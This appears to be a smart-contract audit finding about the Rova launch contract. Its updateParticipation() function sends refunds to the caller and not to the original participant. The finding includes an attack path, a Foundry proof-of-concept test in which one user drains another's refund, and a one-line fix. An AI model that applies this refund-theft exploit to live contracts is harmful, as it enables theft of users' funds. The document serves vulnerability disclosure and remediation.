Tame Sapphire Mammoth

High

# Drain of user's funds in the Rova protocol due to refunds being sent to an incorrect address

### Summary

After a user participates in a sale, they can update the amount of tokens requested using the updateParticipation() function. If the updated amount is greater than the previous amount, the user must pay the difference; however, if it is lower, they are not required to pay extra, but instead receive a refund for the difference. The problem is that when refunding the difference, the recipient's address is not managed correctly, which could allow someone else to steal the refund amount.

### Root Cause

```solidity
        if (prevInfo.currencyAmount > newCurrencyAmount) {
            // Calculate refund amount
            uint256 refundCurrencyAmount = prevInfo.currencyAmount - newCurrencyAmount;
            // Validate user new requested token amount is greater than min token amount per user
            if (userTokenAmount - refundCurrencyAmount < settings.minTokenAmountPerUser) {
                revert MinUserTokenAllocationNotReached(
                    request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
                );
            }
            // Update total tokens requested for user for launch group
            userTokens.set(request.userId, userTokenAmount - refundCurrencyAmount);
            // Transfer payment currency from contract to user
            IERC20(request.currency).safeTransfer(msg.sender, refundCurrencyAmount);
// https://github.com/sherlock-audit/2025-02-rova/blob/main/rova-contracts/src/Launch.sol#L351L363
```
In the refund transfer section, funds are sent to msg.sender instead of prevInfo.userAddress. Therefore, if an attacker uses another user's LaunchParticipationId, they could steal the refund amount associated with that LaunchParticipationId.

### Internal Pre-conditions

1. A valid prevLaunchParticipationId must exist
2. Attacker must submit updateParticipation() with victim's prevLaunchParticipationId
3. prevInfo.currencyAmount > newCurrencyAmount condition must be met

### External Pre-conditions

1. The attacker must have access to the victim’s prevLaunchParticipationId
2. The attacker must submit a transaction with lower newCurrencyAmount before the victim updates their participation

### Attack Path

1. Victim (user1) participates in the launch
      - user1 calls participate() with a valid ParticipationRequest
      - The contract records the participation and stores currencyAmount for user1
      - console.log() prints victim's balance before the exploit

2. Attacker (user2) creates a fake UpdateParticipationRequest
      - The attacker uses user1's prevLaunchParticipationId as prevLaunchParticipationId
      - However, the contract does not check whether msg.sender == prevInfo.userAddress
      - The attacker sets newTokenAmount lower than the original amount to trigger a refund

3. Attacker (user2) submits updateParticipation()
      - Since the new requested amount is lower, the contract calculates a refund.
      - However, instead of sending the refund to prevInfo.userAddress (user1),
      - it sends the refund to msg.sender (user2) due to incorrect safeTransfer()
      - Funds from user1 are now transferred to user2

4. Logging balance changes confirms the exploit
      - console.log() prints victim’s balance after the exploit (reduced)
      - console.log() prints attacker’s balance after the exploit (increased)

### Impact

Within the Rova protocol, funds can be drained by an attacker. This allows the attacker to steal a large amount of money

### PoC

```solidity
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.22;

import {IERC20Errors} from "@openzeppelin/contracts/interfaces/draft-IERC6093.sol";
import {PausableUpgradeable} from "@openzeppelin/contracts-upgradeable/utils/PausableUpgradeable.sol";
import {Test} from "forge-std/Test.sol";
import {console} from "forge-std/console.sol";
import {LaunchTestBase} from "./LaunchTestBase.t.sol";
import {Launch} from "../src/Launch.sol";
import {
    LaunchGroupSettings,
    LaunchGroupStatus,
    ParticipationRequest,
    UpdateParticipationRequest,
    ParticipationInfo,
    CurrencyConfig
} from "../src/Types.sol";

contract LaunchUpdateParticipationTest is Test, Launch, LaunchTestBase {
    LaunchGroupSettings public settings;
    ParticipationRequest public originalParticipationRequest;

    function setUp() public {
        _setUpLaunch();
    }

    function test_exploit() public {
        // Setup initial participation
        settings = _setupLaunchGroup();
        // victim's request
        originalParticipationRequest = _createParticipationRequest();
        bytes memory signature = _signRequest(abi.encode(originalParticipationRequest));
        console.log("victim's balance before ex : ", currency.balanceOf(user1));
        vm.startPrank(user1);
        currency.approve(
            address(launch),
            _getCurrencyAmount(
                originalParticipationRequest.launchGroupId,
                originalParticipationRequest.currency,
                originalParticipationRequest.tokenAmount
            )
        );
        launch.participate(originalParticipationRequest, signature);

        vm.stopPrank();

        // attacker's request
        UpdateParticipationRequest memory updateRequest = _createUpdateParticipationRequest(500);
        bytes memory updateSignature = _signRequest(abi.encode(updateRequest));

        vm.startPrank(user2);
        console.log("attacker's balance before ex : ", currency.balanceOf(user2));
        uint256 updatedCurrencyAmount =
            _getCurrencyAmount(updateRequest.launchGroupId, updateRequest.currency, updateRequest.tokenAmount);
        currency.approve(address(launch), updatedCurrencyAmount);

        // Update participation
        launch.updateParticipation(updateRequest, updateSignature);
        console.log("victim's balance after ex : ", currency.balanceOf(user1));
        console.log("attacker's balance after ex : ", currency.balanceOf(user2));
        vm.stopPrank();
    }

    function _createUpdateParticipationRequest(uint256 newTokenAmount)
        internal
        view
        returns (UpdateParticipationRequest memory)
    {
        uint256 launchTokenDecimals = launch.tokenDecimals();
        return UpdateParticipationRequest({
            chainId: block.chainid,
            launchId: testLaunchId,
            launchGroupId: testLaunchGroupId,
            prevLaunchParticipationId: testLaunchParticipationId,
            newLaunchParticipationId: "newLaunchParticipationId",
            userId: testUserId,
            userAddress: user2,
            tokenAmount: newTokenAmount * 10 ** launchTokenDecimals,
            currency: address(currency),
            requestExpiresAt: block.timestamp + 1 hours
        });
    }
}
```

![Image](https://sherlock-files.ams3.digitaloceanspaces.com/gh-images/bad03f20-a6de-479e-aadf-58214896cbcc)

### Mitigation

```diff
        if (prevInfo.currencyAmount > newCurrencyAmount) {
            // Calculate refund amount
            uint256 refundCurrencyAmount = prevInfo.currencyAmount - newCurrencyAmount;
            // Validate user new requested token amount is greater than min token amount per user
            if (userTokenAmount - refundCurrencyAmount < settings.minTokenAmountPerUser) {
                revert MinUserTokenAllocationNotReached(
                    request.launchGroupId, request.userId, userTokenAmount, request.tokenAmount
                );
            }
            // Update total tokens requested for user for launch group
            userTokens.set(request.userId, userTokenAmount - refundCurrencyAmount);
            // Transfer payment currency from contract to user
-          IERC20(request.currency).safeTransfer(msg.sender, refundCurrencyAmount);
+          IERC20(request.currency).safeTransfer(prevInfo.userAddress, refundCurrencyAmount);
```